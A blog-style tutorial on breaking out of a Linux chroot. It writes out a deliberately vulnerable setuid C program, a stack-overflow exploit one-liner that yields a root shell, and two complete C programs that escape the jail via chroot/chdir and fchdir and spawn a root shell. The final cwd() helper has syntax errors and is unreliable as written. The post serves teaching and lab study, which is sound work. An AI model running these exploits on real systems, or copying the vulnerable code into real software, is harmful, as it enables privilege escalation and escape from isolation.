6 min read

On Escaping a Chroot

This post builds upon some topics that I’ve previously covered, specifically bits of On Running a Tor Onion Service in a Chroot and On Stack Smashing, Part Two.

For years I’ve heard how a chroot isn’t secure and is trivial to escape. However, I never looked into it until recently.

Note that I’m not speaking of BSD jails or Linux containers, which are much more secure.

For an escape to be successful, there needs to be a way for an unprivileged user to become a privileged user. The most frequently cited method, and the one I’ll demonstrate here, is to exploit a setuid binary.

Once the setuid binary has been exploited and the user has a root shell, escaping from the chroot is like taking candy from a baby.

Let’s dig in.

Create a chroot

My preferred way to create a chroot, as I’ve written about before, is to use the debootstrap tool. Since I’ve already documented how to do this, I’ll just list the commands and not go into any detail. See the posts linked at the top of this post for more information.

To create a chroot, simply do the following:

$ sudo -i
# debootstrap --include=build-essential,gdb,vim \
    --arch=i386 stretch /srv/chroot/32 http://ftp.debian.org/debian
# cat > /etc/schroot/chroot.d/32
[32]
description=Debian stretch i386
type=directory
directory=/srv/chroot/32
users=btoll
root-users=btoll
root-groups=root
# exit
$ schroot -u btoll -c 32

We have now created a Debian system located at /srv/chroot/32 and use the schroot tool to run a login shell inside the environment.

Exploitation

Again, I’m not going to go into any detail here because I did at great length in On Stack Smashing, parts one and two. Here is the program that we’ll exploit:

cat_pictures.c

#include <stdio.h>
#include <string.h>

void foo(char *s) {
    char buf[10];
    strcpy(buf, s); 
    printf("%s\n", buf);
}

int main(int argc, char **argv) {
    foo(argv[1]);
    return 0;
}

Compile and set as suid:

# gcc -o cat_pictures -ggdb3 -z execstack cat_pictures.c
# chmod 4550 cat_pictures

Now, the exploitation itself:

$ ./cat_pictures $(perl -e 'print "A"x22 . "\xc7\xdd\xff\xff"')

# whoami
root
# id
uid=0(root) gid=1001(test) groups=1001(test)
#

We have a root shell after injecting the shellcode. We’re now ready to break out of the chroot.

Escaping a chroot

Since we’re root after successfully executing the exploit in the last section, we’re now free to code another exploit to break out of the chroot.

Conceptually, the idea is to create another directory that we will chroot from our current working directory. Once that is done, we’ll use the chdir system call (syscall) to move up to the root of the filesystem, at which point we’ll create a root shell. Sweet freedom!

Why does this work? Since the default the chroot syscall does not change the directory to that which was specifiied in the chroot syscall, the current working directory remains outside of the new chroot. This is the key. Then, since chroots aren’t nested, we simply recurse up to the real / of the file system.

When cwd Is Not Changed

Depending upon the operating system, the current working directory (cwd) may or may not be changed to the new location specified by the path argument to the chroot syscall. When it is not, the way to escape the jail is more straightforward than otherwise.

From the chroot man page:

This  call  does not change the current working directory, so that after the call '.'
can be outside the tree rooted at '/'.  In particular, the superuser can escape  from
a "chroot jail" by doing:

   mkdir foo; chroot foo; cd ..

Let’s first look at when the cwd is not changed by the chroot syscall. Here’s one implementation:

#include <sys/stat.h>
#include <unistd.h>

void move_to_root() {
    for (int i = 0; i < 1024; ++i)
        chdir("..");
}

int main() {
    mkdir(".futz", 0755);
    chroot(".futz");
    move_to_root();
    chroot(".");
    return execl("/bin/sh", "-i", NULL);
}

The most important bit of this code is that my OS isn’t changing the cwd (I know this through experimentation) and we are not cding into the new .futz directory before we invoke the chroot system call wrapper. Again, this ensures that our current working directory (cwd) is outside of this new chroot. Conversely, if we were to do also to make the new chroot the cwd, then it would not be possible to escape from the chroot using this particular implementation.

Sadly, we just can’t recurse of the file system tree without creating a new chroot. Without doing so, the kernel will just recurse up the root of the chroot, eventually expanding .. to . for the remaining path, if any. In other words, this will not work:

  chroot("../../../../../../../../");

The move_to_root function loops an arbitrary number of times to recurse up to the root directory. Chances are fairly good that the chroot is nowhere that deeply nested on the machine, and once in the root of the filesystem tree (/), the files .. and . mean the same thing. In other words, once in the root directory .. doesn’t do anything.

Now that we’re that we’ve broken out of the chroot, the last steps are to set the current (root) directory as the new chroot and then do something useful like launch a root shell.

When cwd Is Changed

Be aware that some kernels will change the cwd to be inside the chroot when calling chroot, which makes it impossible to escape the chroot environment by chrooting to a another directory. If this is the case, there is an alternative way to break out of the chroot using the file descriptor of the cwd before the chroot system call.

Again, from the chroot man page:

This  call  does not close open file descriptors, and such file descriptors may allow
access to files outside the chroot tree.

Since the key in this scenario is to store the file descriptor of a directory outside of the soon-to-be chroot before chrooting, we store the result of the open syscall to the cwd, which will be a file descriptor.

Then, we escape the new chroot by way of passing the file descriptor to the fchdir syscall:

fd = open(".", O_RDONLY);
chroot(".futz");
fchdir(fd);

An full example of this could look like the following:

#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

void move_to_root() {
    for (int i = 0; i < 1024; ++i)
        chdir("..");
}

int main() {
    int fd;
    mkdir(".futz", 0755);
    fd = open(".", O_RDONLY);
    chroot(".futz");
    fchdir(fd);
    close(fd);
    move_to_root();
    chroot(".");
    return execl("/bin/sh", "-i", NULL);
}

Testing

Finally, it can be useful to log out the cwd before and after the chroot syscall to determine if the kernel is also changing the directory to the new chroot:

#define PATH_MAX 200

void cwd() {
    char dir[PATH_MAX};
    printf("cwd is %s\n", getcwd(dir, PATH_MAX);
}

For example, on my Debian 9 install, I insert calls to cwd() before and after the chroot syscall:

// Inside function body...
cwd();
chroot(".futz");
cwd();

And the following is printed to stdout:

cwd is /root
cwd is (null)

This means the kernel did not change the cwd, for we see that the chroot is unable to “see” it.

Conversely, if I insert a call to chdir directly after the chroot syscall:

// Inside function body...
cwd();
chroot(".futz");
chdir(".futz");
cwd();

The following is printed:

cwd is /root
cwd is /

Since the cwd is inside our new chroot, we can’t break out unless we captured an open file descriptor before chrooting!

References